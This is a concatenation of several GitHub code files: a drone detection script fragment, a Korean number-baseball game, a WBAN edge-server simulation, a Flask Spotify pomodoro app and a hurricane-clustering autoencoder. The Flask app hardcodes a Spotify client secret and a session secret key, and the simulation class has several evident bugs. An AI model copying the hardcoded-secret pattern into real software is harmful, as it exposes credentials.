# Extract visited\n    visited_map = map == m.tokens['visited']\n    visited_cells = np.argwhere(visited_map)\n    visited_positions = []\n    for cell in visited_cells:\n         visited_positions.append(m._get_position(cell))\n\n\n    if len(object_positions) > 0:\n        precision_recall(object_positions, gt_monitor_positions, [x_scale, y_scale, z_scale])\n\n\n    save_dir = os.path.dirname(args.save_dir)\n    if not os.path.exists(save_dir):\n        os.makedirs(save_dir)\n\n    np.save(save_dir + '/objects.npy', np.array(object_positions))\n    np.save(save_dir + '/obstacles.npy', np.array(obstacle_positions))\n    np.save(save_dir + '/visited.npy', np.array(visited_positions))\n    np.save(save_dir + '/ground_truth', np.array(gt_monitor_positions))\n\n    m.render(render_3d=True)\n","repo_name":"95ep/AutoDrone","sub_path":"verify_detection.py","file_name":"verify_detection.py","file_ext":"py","file_size_in_byte":6014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"10012938681","text":"import random\nfrom pprint import pprint\nfrom unittest import result\nfrom datetime import datetime\nimport time\n\ndef play():\n    a_num = int(input(\"글자수를 선택하세요 : \"))\n    if a_num >=3 and a_num <=10 :\n        # 3 -> 입력하면 3자리 숫자가 나옴\n        ball = \"0123456789\"\n        game = []\n        for i in range(a_num):\n            \n            while len(game) < a_num:\n                game.append(random.randrange(0,len(ball)))\n    else:\n        print(\"3부터 10까지로 입력해주세요.\")\n    print(game)\n    print(type(game))\n    start_time = time.time()\n\n    count = 0\n    last_count = 9\n    while True:\n        player = input(\"값을 입력해주세요(종료 - exit) : \")\n        count += 1\n        if count > last_count:\n            print(\"실패했습니다!\")\n            break\n        elif player == \"exit\":\n            print(\"게임을 종료하셨습니다.\")\n            break\n        out_count = 0\n        st_count = 0\n        ball_count = 0\n        for i, v in enumerate(player):\n            v = int(v)\n            if v not in game:\n                out_count += 1\n            else:\n                if game[i] == v:\n                    st_count += 1\n                else:\n                    ball_count += 1\n                    \n        if st_count == a_num:\n            print(f\"승리, 도전횟수: {count}번\")\n            print(f\"소요시간 : {time.time()-start_time:.2f}\")\n            print(f\"클리어 일자 : {datetime.now()}\")\n            break\n\n        print(f\"{st_count}스트라이크 {ball_count}볼 {out_count}아웃\")\nplay()\n","repo_name":"yoonsun9128/camp_homework","sub_path":"baseball_game.py","file_name":"baseball_game.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29968222077","text":"from scipy.stats import binom\nfrom tabulate import tabulate\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport operator\n\nimport task_Create\nfrom task_Create import Task\nfrom WBAN_Create import WBAN\nfrom config import Globalmap\n\n\nclass MEC(object):\n\n    #设置单个MEC服务器共具备四个工作缓冲区\n    def __init__(self,waitBuffer,sizeOfBuffer,executionBuffer,exeBufferState):\n        self.sizeOfBuffer = [ pow(2,20),pow(2,20),pow(2,20),pow(2,20)]              #四个工作缓冲区的总大小为1MB\n        self.executionBuffer = [ []for i in range(4) ]                              #每个WBAN共四个CPU，各有一个执行缓冲区\n        self.waitBuffer = []                                                        #��待分配缓冲区，实际上并不存在这个缓冲区\n        self.exeBufferState = [True,True,True,True]                                 #当前四个CPU是否可以执行工作缓冲区中的下一个任务\n\n    ##################################################################################################################\n    \n    def waitbuffer_addTask(self,Task):\n        #每次向排队缓冲区放入一个任务，都需要将缓冲区队列进行一次排序,排队缓冲区内按优先级从高到低排列\n        self.waitBuffer.append(Task)\n        self.waitBuffer = sorted(self.waitBuffer,key=operator.attrgetter('priority'))\n        self.waitBuffer = self.waitBuffer.reverse()\n\n    ##################################################################################################################\n    \n    #将排队缓冲区的任务分配到各个缓冲区中\n    def buffer_Allocation(self,Globalmap):\n        \n        #获取当前系统时钟\n        time = Globalmap().get_value('clocktime')\n\n        for i in range(len(self.waitBuffer)):\n            free = self.sizeOfBuffer\n            if max(free) >= self.waitBuffer[i]:\n\n                #给当前任务赋值进入缓冲区的时间\n                self.waiterbuffer[i].timeInto = time\n\n                #如果四个缓冲区中最大的空闲空间大于当前任务的数据量，则把这个任务放入该缓冲区中\n                index = free.index(max(free))\n                self.executionBuffer[index].append(self.waitBuffer[i])\n                self.sizeOfBuffer[index] -= self.waitBuffer[i].dataSize\n                \n                #从等待缓冲区中删除该任务\n                self.waitBuffer.pop(self.waitBuffer[i])\n\n                return 1    #返回值为1，表示的当前缓冲区有空，可以接收任务\n\n            elif max(free) <= self.waitBuffer[i]:\n                #如果当前四个缓冲区都没有合适的空闲区，就等待下一个时间片，返回-1表示当前服务器中无法接受任务\n                return -1\n\n    ##################################################################################################################\n    \n    #将WBAN发送到MEC服务器中的任务放入到waitBuffer中，每个时间片执行一次\n    def receive_Task(self,WBAN,Globalmap):\n        \n        #获取当前系统时钟和距离\n        time = Globalmap().get_value('clocktime')\n        distance = Globalmap().get_value('distance')\n\n        #获取当前WBAN是否完成一个任务的发送\n        check = WBAN.task_transmit(Globalmap,distance)\n\n        #如果没有发送成功，即task_transmit函数的返回值是0\n        if check == 0:\n            return 0\n        #如果有一个任务发送成功，即task_transmit函数的返回值是一个Task类对象\n        elif check != 0:\n            check.timeWait += time - check.timeInto     #任务在信道中的等待时间\n            check.timeInto = time                       #设定该任务进入MEC服务器执行缓冲区的时间\n            self.waitbuffer_addTask(check)              #将该任务放入waitbuffer中，等待分配\n\n\n    ##################################################################################################################\n \n'''\nMEC = MEC([],[],[],[])\nprint(MEC.sizeOfBuffer)\n'''\n\n        \n\n\n\n\n\n\n    \n","repo_name":"BaristaCoffeeCup/Simulation_WBAN","sub_path":"MECserver_create.py","file_name":"MECserver_create.py","file_ext":"py","file_size_in_byte":4128,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"12813887731","text":"import os\nimport re\nimport json\nimport sys\nimport urllib\nimport requests\nimport time\nimport random\nimport ntpath\n\nfrom pathlib import Path\n\nimport spotipy\nimport spotipy.util as util\n\nfrom cs50 import SQL\nfrom datetime import date, datetime, timedelta\n\nfrom flask import Flask, flash, jsonify, redirect, render_template, request, session, request\nfrom flask_session import Session\nfrom flask_cors import CORS, cross_origin\n\nfrom tempfile import mkdtemp\nfrom werkzeug.exceptions import default_exceptions, HTTPException, InternalServerError\nfrom werkzeug.security import check_password_hash, generate_password_hash\nfrom werkzeug.utils import secure_filename\n\nfrom helpers import apology, getListOfFiles\n\nfrom requests_oauthlib import OAuth2Session\n\n# Configure application\napp = Flask(__name__)\napplication = app # our hosting requires application in passenger_wsgi\n\n# Ensure templates are auto-reloaded\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\n\n# Make session data persistent\n# https://pythonise.com/series/learning-flask/flask-session-object\n# TEMP secret key for sessions\napp.config[\"SECRET_KEY\"] = \"alabama123KENTUCKY\"\napp.config.from_object(__name__)\n\n# Configure session to use filesystem (instead of signed cookies)\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\n\nSession(app)\nCORS(app)\n\n#SPOTIFY AUTHORIZATION CODE - https://stackoverflow.com/questions/57580411/storing-spotify-token-in-flask-session-using-spotipy\nauthorization_base_url = 'https://accounts.spotify.com'\n# Make sure you add this to Redirect URIs in the setting of the application dashboard\nredirect_uri = \"http://127.0.0.1:5000/callback\"\n# Referesh url\nrefresh_url = \"https://accounts.spotify.com/api/token\"\n\n# Spotify variables\nclient_id = \"b7c4807138a84147bd1147b9bf602048\"\nclient_secret = \"699795974a5d467e900b64b3018d09d4\"\nscope = \"streaming, user-library-read, playlist-read-private, playlist-read-collaborative, user-modify-playback-state, user-read-playback-position, user-read-currently-playing, user-read-email, user-read-private, user-read-playback-state\"\n# Set this to True for testing but you probaly want it set to False in production.\n# Whether or not to force the user to approve the app again if they’ve already done so. If false (default), a user who has already approved the application may be automatically redirected to the URI specified by redirect_uri. If true, the user will not be automatically redirected and will have to approve the app again.\n# When I set it to false in dev env it breaks the authentication\nSHOW_DIALOG = True\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\n@cross_origin(supports_credentials=True)\ndef index():\n    \"\"\"Spotify Timer App!\"\"\"\n\n    # Get all alarms and pass them to jinjia\n    alarmsPath = getListOfFiles(\"static/alarms\")\n    # Creating a dict of alarm files: full_path = file\n    alarms = {}\n    for alarm in alarmsPath:\n        alarms[alarm] = ntpath.basename(alarm)\n\n    # User reached route via POST\n    if request.method == \"POST\":\n        # Step 1: User Authorization.\n        # Redirect the user/resource owner to the OAuth provider\n        # using an URL with a few key OAuth parameters.\n        if request.form[\"btn\"] == \"spotifyLogIn\":\n            sp_oauth = spotipy.oauth2.SpotifyOAuth(client_id = client_id, client_secret = client_secret, redirect_uri = redirect_uri, scope = scope)\n            auth_url = sp_oauth.get_authorize_url()\n            return redirect(auth_url)\n\n        # User reached route via POST to change the timer settings\n        else:\n            tomatoT = request.form.get(\"tomatoT\")\n            if (tomatoT == \"\"):\n                tomatoT = 25\n            session[\"tomatoT\"] = tomatoT\n\n            breakT = request.form.get(\"breakT\")\n            if (breakT == \"\"):\n                breakT = 5\n            session[\"breakT\"] = breakT\n\n            return render_template(\"index.html\", tomatoT=session[\"tomatoT\"], breakT=session[\"breakT\"], route=\"/\", alarms=alarms)\n\n    # User reached route via GET (as by loading the page)\n    else:\n        if session.get(\"tomatoT\") is None:\n            session[\"tomatoT\"] = 25\n        if session.get(\"breakT\") is None:\n            session[\"breakT\"] = 5\n\n        return render_template(\"index.html\", tomatoT=session[\"tomatoT\"], breakT=session[\"breakT\"], route=\"/\", alarms=alarms)\n\n# authorization-code-flow Step 2.\n# Have your application request refresh and access tokens;\n# Spotify returns access and refresh tokens\n@app.route(\"/callback\")\n@cross_origin(supports_credentials=True)\ndef callback():\n\n    # Caching token in session file\n    # TODO: Ideally, I'd have login and a database with tokens\n    s = session.sid\n\n    # Don't reuse a SpotifyOAuth object because they store token info and you could leak user tokens if you reuse a SpotifyOAuth object\n    sp_oauth = spotipy.oauth2.SpotifyOAuth(client_id = client_id, username = s, client_secret = client_secret, redirect_uri = redirect_uri, scope = scope)\n\n    # TODO: I have commented out session.clear() does it have any bad effects?\n    # If I clear session, I lose tomatoT and breakT, are there any downsides to not clearning session? session.clear()\n\n    code = request.args.get('code')\n    token_info = sp_oauth.get_access_token(code)\n\n    # Saving the access token along with all other token related info\n    session[\"token_info\"] = token_info\n    return redirect(\"/al/\")\n\n# authorization-code-flow Step 3.\n# Use the access token to access the Spotify Web API;\n# Spotify returns requested data\n@app.route(\"/al/\", methods=[\"GET\", \"POST\"])\n@cross_origin(supports_credentials=True)\ndef after_login():\n    # Get user's Spotify Auth tokens\n    session['token_info'], authorized = get_token(session)\n    session.modified = True\n    if not authorized:\n        return redirect('/')\n    data = request.form\n    sp = spotipy.Spotify(auth=session.get('token_info').get('access_token'))\n\n    token = session['token_info']['access_token']\n    refreshToken = session['token_info']['refresh_token']\n\n    # Get user's Spotify playlists\n    playlistsJSON = json.dumps(sp.current_user_playlists(), indent=4)\n    playlists = json.loads(playlistsJSON)\n\n    # Append kitten placeholders to playlists without covers\n    for item in playlists[\"items\"]:\n        if (len(item[\"images\"]) == 0):\n            item[\"images\"].append({'url': 'https://placekitten.com/300/300'})\n\n\n    # Get user's current playback\n    current_playbackJSON = json.dumps(sp.current_playback(), indent=4)\n    current_playback = json.loads(current_playbackJSON)\n\n    # Creating a dict for jinja and js\n    if not current_playbackJSON == \"null\":\n        current_playbackDict = {\n            \"volume\": current_playback[\"device\"][\"volume_percent\"],\n            \"shuffle\": current_playback[\"shuffle_state\"],\n            \"repeat\": current_playback[\"repeat_state\"],\n            \"context_uri\": current_playback[\"context\"][\"uri\"],\n            \"cover_img\": current_playback[\"item\"][\"album\"][\"images\"][0][\"url\"],\n            \"artist\": current_playback[\"item\"][\"album\"][\"artists\"][0][\"name\"],\n            \"track_name\": current_playback[\"item\"][\"name\"],\n            \"track_uri\": current_playback[\"item\"][\"uri\"]\n        }\n    # Creating a placeholder dict, in case I don't get info from Spotify\n    else:\n        current_playbackDict = {\n            \"volume\": 50,\n            \"shuffle\": \"false\",\n            \"repeat\": \"off\",\n            \"context_uri\": \"spotify:playlist:2E2eI5zIlsulHgaN1n3bkQ\",\n            \"cover_img\": \"https://placekitten.com/300/300\",\n            \"artist\": \"a cat\",\n            \"track_name\": \"miau miau miau\",\n            \"track_uri\": \"spotify:track:3BjygBarJk0ZDwEooe1ccf\"\n        }\n\n    # Get all alarms and pass them to jinjia\n    alarmsPath = getListOfFiles(\"static/alarms\")\n    # Creating a dict of alarm files: full_path = file\n    alarms = {}\n    for alarm in alarmsPath:\n        alarms[alarm]=ntpath.basename(alarm)\n\n    # User reached route via POST\n    if request.method == \"POST\":\n        # User reached route via POST to change the timer settings\n        tomatoT = request.form.get(\"tomatoT\")\n        if (tomatoT == \"\"):\n            tomatoT = 25\n        session[\"tomatoT\"] = tomatoT\n\n        breakT = request.form.get(\"breakT\")\n        if (breakT == \"\"):\n            breakT = 5\n        session[\"breakT\"] = breakT\n\n        return render_template(\"al.html\", tomatoT=session[\"tomatoT\"], breakT=session[\"breakT\"], alarms=alarms, playlists=playlists, route=\"/al/\", current_playback=current_playbackDict)\n\n    # User reached route via GET\n    else:\n        # Variables for JavaScript\n        if session.get(\"tomatoT\") is None:\n            session[\"tomatoT\"] = 25\n        if session.get(\"breakT\") is None:\n            session[\"breakT\"] = 5\n\n        return render_template(\"al.html\", tomatoT=session[\"tomatoT\"], breakT=session[\"breakT\"], alarms=alarms, playlists=playlists, route=\"/al/\", current_playback=current_playbackDict)\n\n# Refresh token for SDK\n@app.route(\"/refresh_Oauth\", methods=['POST'])\n@cross_origin(supports_credentials=True)\ndef refresh_Oauth():\n    # Getting token via get_token route\n    session['token_info'] = get_token(session)[0]\n    token = session['token_info'].get('access_token')\n    refreshToken = session['token_info'].get('refresh_token')\n\n    # Passing token to JavaScript\n    response = jsonify(token=token, refreshToken=refreshToken)\n    return response\n\n# Checks to see if token is valid and gets a new token if not\ndef get_token(session):\n    token_valid = False\n    token_info = session.get(\"token_info\")\n\n    # Checking if the session already has a token stored\n    if not (session.get('token_info', False)):\n        token_valid = False\n        return token_info, token_valid\n\n    # Checking if token has expired\n    now = int(time.time())\n    is_token_expired = session.get('token_info').get('expires_at') - now < 60\n\n    # Refreshing token if it has expired\n    if (is_token_expired):\n        # Caching token in session file\n        # TODO: Ideally, I'd have login and a database with tokens\n        s = session.sid\n\n        # Don't reuse a SpotifyOAuth object because they store token info and you could leak user tokens if you reuse a SpotifyOAuth object\n        sp_oauth = spotipy.oauth2.SpotifyOAuth(client_id = client_id, username = s, client_secret = client_secret, redirect_uri = redirect_uri, scope = scope)\n        token_info = sp_oauth.refresh_access_token(session.get('token_info').get('refresh_token'))\n\n    token_valid = True\n    return token_info, token_valid\n\n# Handling alarm uploads\n# https://flask.palletsprojects.com/en/1.1.x/patterns/fileuploads/\nUPLOAD_FOLDER = 'static/alarms'\nALLOWED_EXTENSIONS = {'wav', 'mp3'}\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route(\"/alarmUpload\", methods=[\"GET\", \"POST\"])\n@cross_origin(supports_credentials=True)\ndef ProcessAlarm():\n    if request.method == \"POST\":\n        # Checking if post has a file\n        if 'file' not in request.files:\n            return redirect(\"/\")\n\n        file = request.files['file']\n\n        # Handling no file selected\n        if file.filename == '':\n            return jsonify(\"No file selected.\")\n\n        # If the file has invalid extension return\n        if not allowed_file(file.filename):\n            return jsonify(\"File not allowed.\")\n\n        if file and allowed_file(file.filename):\n            filename = secure_filename(file.filename)\n\n            # Creating a new folder in alarms depeding on session.sid\n            # TODO: Ideally, I have login and each user has their own folder and they can choose to get crowd sourced alarms\n            uploadFolder = app.config['UPLOAD_FOLDER'] + \"/\" + session.sid\n            Path(uploadFolder).mkdir(parents=True, exist_ok=True)\n\n            # Saving the file to the new folder\n            file.save(os.path.join(uploadFolder, filename))\n            return jsonify(\"Great file, I am taking it.\")\n\ndef errorhandler(e):\n    \"\"\"Handle error\"\"\"\n    if not isinstance(e, HTTPException):\n        e = InternalServerError()\n    return apology(e.name, e.code)\n\n# Listen for errors\nfor code in default_exceptions:\n    app.errorhandler(code)(errorhandler)\n","repo_name":"bernardLis/spomato","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":12171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7250061293","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSimple Autoencoder Architecture with K-means clustering on latent space\n\n@author: bailey\n\"\"\"\n\nimport torch\nimport torch.nn as nn\n\nfrom torch.optim import lr_scheduler\nimport os\nimport numpy as np\nimport time\nimport copy\n\n# for PCA\nfrom sklearn.decomposition import PCA\nimport pandas as pd\nimport pickle\n\nfrom kmeans_pytorch import kmeans\n\n# for plot publishing\nfrom publish_plots import loss_plot\nfrom publish_plots import spectra_plot\nfrom publish_plots import spectra_plot_difference\nfrom publish_plots import elbow_sil_graph\nfrom publish_plots import elbow_graph\nfrom publish_plots import Discrete_3D_scatter\nfrom publish_plots import wind_plot\nfrom publish_plots import wind_plot_difference\nfrom publish_plots import Continuous_3D_scatter\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\n# elbow method from https://medium.com/analytics-vidhya/how-to-determine-the-optimal-k-for-k-means-708505d204eb\n# function returns within-cluster-sum of squared errorsWSS score for k values from 1 to kmax\n\n# define a GPU usage\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'  # CPU:-1; GPU0: 1; GPU1: 0;\n\nclass FNN_AE(nn.Module):\n    '''\n        General Auto-Encoder framework for fully-connected neural networs.    \n    '''\n    def __init__(self):\n        super(FNN_AE, self).__init__()\n\n        ################################ SYNTHETIC DATABASE AARCHITECTURE #####\n        input_dim = len(spectra[0])\n        # nn.Linear(in_features, out_features)\n        self.encoder = nn.Sequential(\n            nn.Linear(input_dim, 128),\n            nn.BatchNorm1d(128),\n            nn.Tanh(), \n            nn.Linear(128, 64),\n            nn.BatchNorm1d(64),\n            nn.Tanh(),\n            nn.Linear(64, 32),\n            nn.Tanh(),\n            nn.Linear(32, LF))  \n        \n        self.decoder = nn.Sequential(\n            nn.Linear(LF, 32),\n            nn.Tanh(),\n            nn.Linear(32, 64),\n            nn.BatchNorm1d(64),\n            nn.Tanh(),\n            nn.Linear(64, 128),\n            nn.BatchNorm1d(128),\n            nn.Tanh(),\n            nn.Linear(128, input_dim))\n        \n    def forward(self, x):\n        # x is input\n        x_latent = self.encoder(x) # x is the latent space\n        x = self.decoder(x_latent)\n        \n        return x, x_latent\n    \nclass ground_motion_data():\n    \n    def __init__(self,RSN_list):\n        self.RSN_list = RSN_list\n        \n        # define a samle list for train/validate/test\n        self.samples = []\n    \n        # load files\n        x=[]\n        file_name = './windRecordsMass/windRecords2Dto1DrampGrid'+str(gridID)+'.txt'\n        spectra = np.loadtxt(file_name)\n        x = np.delete(spectra,0,0)\n        num_GM = len(spectra[0,:])\n        for GM in range(0,num_GM):\n            spec = torch.tensor(x[:,GM],dtype = torch.float32)\n            RSN_list[GM] = torch.tensor(spectra[0,GM], dtype=torch.long)\n            self.samples.append((spec,RSN_list[GM]))\n\n    def __len__(self):\n        return len(self.samples)\n    \n    def __getitem__(self, idx):\n        return self.samples[idx]\n  \ndef train(train_tensor, model, num_epochs, learning_rate, print_every):\n    '''\n    Train autoencoder.\n    Args: \n    -----\n    Returns:\n    '''\n    # define a train/test loss indicator\n    print_loss_total = 0.0\n    train_loss_list = []\n\n    # define an optimizer / weight decay means a hyperparameter for model parameters\n    optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, \n        weight_decay=1e-6)\n    \n    scheduler = lr_scheduler.StepLR(optimizer,step_size=200,gamma=0.9)\n    \n    min_loss = 10\n    \n    # run in epochs\n    for epoch in range(num_epochs): # 10000 training epochs\n    \n        for idx, (inputs, targets) in enumerate(train_tensor):\n            \n            inputs, targets = inputs.cuda(), targets.cuda()\n            \n            # First renew the gradient\n            optimizer.zero_grad()\n        \n            # Second calculate the model outputs\n            outputs, output_latent = model(inputs)\n\n            # Third calculate the loss\n            loss = (inputs - outputs).pow(2).mean()\n                    \n            # Fourth backpropagation\n            loss.backward()\n            \n            # Weight update \n            optimizer.step()    \n\n            print_loss_total += loss.item()\n                \n        if epoch % print_every == 0:  # every 100 epochs \n            # print the training loss\n            print_loss_mean = print_loss_total / (print_every * len(train_tensor.dataset))\n            \n            train_loss_list.append(print_loss_mean)\n\n            print_loss_total = 0\n            print('epoch [{}/{}], loss:{:.6f}'.format(\n            epoch + 1, num_epochs, print_loss_mean))    \n                \n            if print_loss_mean < min_loss:\n                min_loss = print_loss_mean\n                save_model(model)\n\n        # increase scheduler\n        scheduler.step()  \n        \n    # return output\n    return train_loss_list\n\ndef postprocess(test_tensor):\n    # for prediction after having the best model\n    \n    model = FNN_AE().cuda()\n    load_model(model)\n    \n    # define the loss function \n    loss_func = nn.MSELoss()\n    \n    test_latent_list = []\n    test_output_list = []\n    test_input_list = []\n    test_loss = 0\n    \n    for idx, (inputs, targets) in enumerate(test_tensor):\n    \n        inputs, targets = inputs.cuda(), targets.cuda()\n        #inputs, targets = inputs, targets\n        # find loss for the test data\n        test_outputs, test_output_latent = model(inputs)\n        test_loss += loss_func(test_outputs, inputs)\n    \n        test_latent_list.append((test_output_latent,targets))\n        test_output_list.append(test_outputs)\n        test_input_list.append(inputs)\n        \n    test_loss = test_loss / len(test_tensor.dataset)\n    \n    return test_output_list, test_latent_list, test_input_list\n    \ndef save_model(model):\n    '''\n        Save the trained model.\n        You can change the model name \n    '''\n    torch.save(model.state_dict(), './Grid'+str(gridID)+'_AE_FC_model_GM.pt')\n\ndef load_model(model):\n    '''\n        load the trained model.\n    '''\n    model.load_state_dict(torch.load('./Grid'+str(gridID)+'_AE_FC_model_GM.pt'))\n    \ndef load_file_num(file_name,RSN_list):\n    \n    file_read = open(file_name,\"r\")\n    \n    file_list = [float(line[:-1]) for line in file_read]\n    \n    # create dictionary\n    zip_iterator = zip(RSN_list, file_list)\n    file_dictionary = dict(zip_iterator)\n    \n    return file_dictionary\n\ndef calculate_WSS(points, kmax):\n    sse = []\n    for k in range(1, kmax+1):\n        kmeans = KMeans(n_clusters = k).fit(points)\n        centroids = kmeans.cluster_centers_\n        pred_clusters = kmeans.predict(points)\n        curr_sse = 0\n    \n        # calculate square of Euclidean distance of each point from its cluster center and add to current WSS\n        for i in range(len(points)):\n            curr_center = centroids[pred_clusters[i]]\n            curr_sse += (points[i, 0] - curr_center[0]) ** 2 + (points[i, 1] - curr_center[1]) ** 2\n      \n        sse.append(curr_sse)\n    return sse\n\ndef get_SSE_and_sil(x):\n    \n    sil = []\n    kmax = 20\n    \n    # Kmeans Validation\n    SSE = calculate_WSS(x,kmax)\n    \n    # dissimilarity would not be defined for a single cluster, thus, minimum number of clusters should be 2\n    for k in range(2, kmax+1):\n      kmeans = KMeans(n_clusters = k).fit(x)\n      labels = kmeans.labels_\n      sil.append(silhouette_score(x, labels, metric = 'euclidean'))\n    \n    return(SSE,sil)  \n#%%    \nif __name__ == '__main__':\n    \n    # define the neural network parameters\n    num_epochs = 5000\n    learning_rate = 0.001\n    print_every = 10\n    LF = 5\n    BATCH_SIZE = 16\n    #%%####################### DOWNLOAD DATA #################################\n    for gridID in range(86,87):\n        # define a random seed\n        np.random.seed(123)\n        torch.manual_seed(123)\n        #  data folder path\n        folder_path = 'C:\\\\Users\\\\xinlo\\\\OneDrive - Northeastern University\\\\CRISP\\\\Repositories\\\\Hurricane Catalog\\\\HurricaneClustering\\\\data'\n        os.chdir(folder_path) # change directory  \n    \n        # load files and create dictionaries\n        file_name = './windRecordsMass/hurricaneIDsGrid'+str(gridID)+'.txt'\n        RSN_read = open(file_name,\"r\")\n        RSN_list = [int(line[:-1]) for line in RSN_read]\n        \n        file_name = 'Ordered_mag_005.txt'\n        ID_dict_gt = load_file_num(file_name,RSN_list)\n        ID_dict_gt = {key:val for key, val in ID_dict_gt.items() if val > 0}\n        \n        Dataset = ground_motion_data(RSN_list)\n        num_batches =  len(Dataset)// BATCH_SIZE\n        \n        train_tensor = torch.utils.data.DataLoader(Dataset, batch_size = BATCH_SIZE,\n        shuffle=True, num_workers=0,drop_last=True) \n         \n        dataiter = iter(train_tensor)\n        inputs, label = dataiter.next()\n        \n        # load scaled spectra data\n        scaled_spectra = []\n        file_name = './windRecordsMass/windRecords2Dto1DrampGrid'+str(gridID)+'.txt'\n        scaled_spectra = np.loadtxt(file_name)\n        \n        end = len(scaled_spectra-1)\n        RSN = scaled_spectra[0]\n        spectra = scaled_spectra[1:end]\n        spectra = np.transpose(spectra,(1,0))\n    \n        # create dictionary\n        zip_iterator = zip(RSN, spectra)\n        Sa_dictionary = dict(zip_iterator) \n    \n        #%%########################### TRAIN MODEL ###############################\n        # change output folder path\n        folder_path = './figures'\n        try:\n            os.makedirs(folder_path)\n        except:\n            pass\n        os.chdir(folder_path) # change directory \n    \n        # initialize the autoencoder model\n        model = FNN_AE().cuda()\n    \n        start = time.time()\n        # train the model\n        train_loss_list = train(train_tensor, model, num_epochs, learning_rate,\n            print_every)\n        end = time.time()\n        \n        print(\"The running time:\", (end-start)/60, \"min\")\n        # evaluate the prediction performance\n        test_output_list, test_latent_list, test_input_list = postprocess(train_tensor)\n        \n        # combine all of the batches to single tensor\n        test_outputs = test_output_list[0]\n        for i in range(num_batches-1):\n            test_outputs = torch.cat((test_outputs,test_output_list[i+1]))\n            \n        test_inputs = test_input_list[0]\n        for i in range(num_batches-1):\n            test_inputs = torch.cat((test_inputs,test_input_list[i+1]))\n            test_latents = test_latent_list[0][0]\n        \n        test_latents_RSN = test_latent_list[0][1]\n        for i in range(num_batches-1):\n            test_latents = torch.cat((test_latents,test_latent_list[i+1][0]))\n            test_latents_RSN = torch.cat((test_latents_RSN,test_latent_list[i+1][1]))\n        test_latent_list = [test_latents,test_latents_RSN]\n        \n        # save tensors\n        torch.save(train_loss_list, './Grid'+str(gridID)+'_train_loss_list.pt')\n        torch.save(train_tensor, './Grid'+str(gridID)+'_train_tensor.pt')\n        torch.save(test_outputs, './Grid'+str(gridID)+'_test_outputs.pt')\n        torch.save(test_inputs, './Grid'+str(gridID)+'_test_inputs.pt')\n        torch.save(test_latent_list, './Grid'+str(gridID)+'_test_latent_list.pt')\n        \n        # save dictionaries    \n        a_file = open('Grid'+str(gridID)+'_ID_dict_gt.pkl', \"wb\")\n        pickle.dump(ID_dict_gt, a_file)\n        a_file.close()\n    \n        a_file = open('Grid'+str(gridID)+'_Sa_dictionary.pkl', \"wb\")\n        pickle.dump(Sa_dictionary, a_file)\n        a_file.close()  \n        \n        #%%############## POST PROCESS ###########################################\n        # download tensors\n        test_latent_list = torch.load('Grid'+str(gridID)+'_test_latent_list.pt')\n        test_outputs = torch.load('Grid'+str(gridID)+'_test_outputs.pt')\n        test_inputs = torch.load('Grid'+str(gridID)+'_test_inputs.pt')\n        train_loss_list = torch.load('Grid'+str(gridID)+'_train_loss_list.pt')\n        \n        test_latents = test_latent_list[0]\n        test_latents_RSN = test_latent_list[1]\n            \n        np_test_outputs = test_outputs.cpu().detach().numpy()\n        np_test_inputs = test_inputs.cpu().detach().numpy()\n        np_latent_features = test_latents.cpu().detach().numpy()\n        np_test_latents_RSN = test_latents_RSN.cpu().detach().numpy()\n        \n        # download dictionaries\n        a_file = open('Grid'+str(gridID)+'_ID_dict_gt.pkl', \"rb\")\n        ID_dict_gt = pickle.load(a_file)\n        a_file.close()\n        \n        a_file = open('Grid'+str(gridID)+'_Sa_dictionary.pkl', \"rb\")\n        Sa_dictionary = pickle.load(a_file)\n        a_file.close()\n        \n        #%%############################# PCA #####################################    \n        # Perform PCA on the latent features\n        feat_cols = ['feature'+str(i) for i in range(np_latent_features.shape[1])]\n        normalised_latents = pd.DataFrame(np_latent_features,columns=feat_cols)\n        normalised_latents.tail()\n        \n        pca_latents = PCA(n_components=3)\n        principalComponents_latents = pca_latents.fit_transform(np_latent_features)\n    \n        principal_breast_Df = pd.DataFrame(data = principalComponents_latents\n                 , columns = ['principal component 1', 'principal component 2','principal component 3'])\n        \n        print('Explained variation per principal component: {}'.format(pca_latents.explained_variance_ratio_))\n        \n        #%%######################### K-MEANS Clustering ##########################\n        x = test_latents.cpu()\n        SSE,sil = get_SSE_and_sil(np_latent_features)\n        # sil2=copy.deepcopy(sil)\n        # sil2[0]=0.0\n        # sil2[1]=0.0\n        # num_clusters = max(range(len(sil2)), key=sil2.__getitem__)+2\n        \n        # load scaled spectra data\n        num_clusters_grids = []\n        file_name = '../../assets/numClusters.txt'\n        num_clusters_grids = np.loadtxt(file_name)\n        num_clusters = int(num_clusters_grids[gridID-1])\n        \n        # k-means cluster\n        cluster_ids_x, cluster_centers = kmeans(\n            X=x, num_clusters=num_clusters, distance='euclidean', device=torch.device('cpu') ) \n        \n        # convert discovered IDs to numpy and correct scaling\n        np_cluster_ids_x = cluster_ids_x.tolist()\n        np_cluster_ids_x = [x + 1 for x in np_cluster_ids_x]\n        \n        # create cluster ID dictionary\n        zip_iterator = zip(np_test_latents_RSN, np_cluster_ids_x)\n        ID_dict_discovered = dict(zip_iterator)\n        #%%############################ CREATE PLOTS #############################        \n        import matplotlib.pyplot as plt\n        small_fig_size = (3.5,3.5)\n        small_fig_size2 = (3.5,3.0)\n        plt_line_width = 0.5\n        plt_line_width_thick = 1.5 \n        fig_font_size = 8\n        T2 = 